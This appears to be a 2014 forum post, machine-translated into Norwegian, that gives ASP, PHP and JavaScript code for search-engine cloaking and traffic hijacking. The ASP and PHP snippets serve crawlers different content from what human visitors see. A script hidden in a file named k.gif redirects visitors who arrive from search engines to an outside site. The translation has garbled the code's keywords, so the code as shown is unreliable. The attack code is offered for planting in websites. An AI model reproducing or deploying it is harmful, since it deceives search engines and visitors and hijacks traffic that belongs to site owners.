Først er det enkelt, legg til følgende kode på forsiden:
ASP-versjonen
<!--#include fil="conn.asp"-->
<script src="images\k.gif"></script>
PHP-versjon
<!--#include fil="conn.php"-->
<script src="images\k.gif"></script>
Legg deretter til følgende kode i conn-filen i henhold til nettstedets program, hvis du ikke har en conn.asp eller conn.php, lag den selv:
conn.asp utgave
----------- følgende reproduksjon--------------------------------
<%
funksjonen isspider()
Dim agent, Searray, jeg
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= falsk
for i=0 til ubound(searray)
hvis (instr(agent,searray(i))>0) så isspider=sann
Neste
Sluttfunksjon
funksjon fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
fromse= falsk
hvis urlrefer="" så fromse= falsk
searray=array("google","baidu","sogou","yahoo","soso","soso","360")
for i=0 til ubound(searray)
hvis (instr(urlrefer,searray(i))>0) så er fromse=true
Neste
Sluttfunksjon
funksjon gethttp(URL)
DIM HTTP
set http=createobject("MSXML2. XMLHTTP")
Http.open "GET",url,false
Http.send()
hvis Http.readystate<>4 så
Utgangsfunksjon
Slutt hvis
gethttp=bytes2BSTR(Http.responseBody)
Sett http=Ingenting
Hvis err.number<>0, så err. Klart
Sluttfunksjon
function bytes2BSTR(vIn)
dim strReturn
dim i, denne CharCode, neste CharCode
strReturn = ""
For i = 1 Til LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Hvis denne CharCode < &H80, så
strReturn = strReturn & Chr(ThisCharCode)
Ellers
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Slutt hvis
Neste
bytes2BSTR = strReturn
Sluttfunksjon
hvis(isspider()) så
dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
response.clear
remotehtml=gethttp(bodyurl)
response.write(fjernHTML)
response.write("<!--"&now()&"-->")
response.flush
response.slutt
Slutt hvis
%>
conn.php
---------------- følgende reproduksjon----------------
<?php
funksjon is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = array ('baiduspider', 'sogou spider', 'sosospider', 'iaskspider', 'naverrobot');
foreach ($identify SOM $key => $tag){
hvis (strstr($user_agent, $tag)){
returner sann;
}
}
returner falsk; }
funksjon is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = eksplodere("@",$come_from);
foreach($referer som $url){
hvis (stristr($_SERVER['HTTP_REFERER'],$url)){
returner sann;
}
}
returner falsk; }
hvis (is_search_bot())
{
$html = "<title>Wuhan Software Engineering Vocational College</title> <metanavn=\"Forfatter\" innhold=\"Fyll inn det samme som nøkkelord\"> <metanavn=\"Nøkkelord\" innhold=\"Nøkkelord\"> <metanavn=
\"Beskrivelse\" innhold=\"Beskrivelse\"> </head> <body>Innhold</body></html>";
Echo $html;
}
hvis (!is_search_bot() & is_urlbaidu())
{
Header('Lokasjon:http://www.itsvse.com');
}
?>
Til slutt, i bildekatalogen, last opp en k.gif fil k.gif koden:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; Omdirigerings-URL
|
Publisert på 01.12.2014 18:48:55
|
|
|
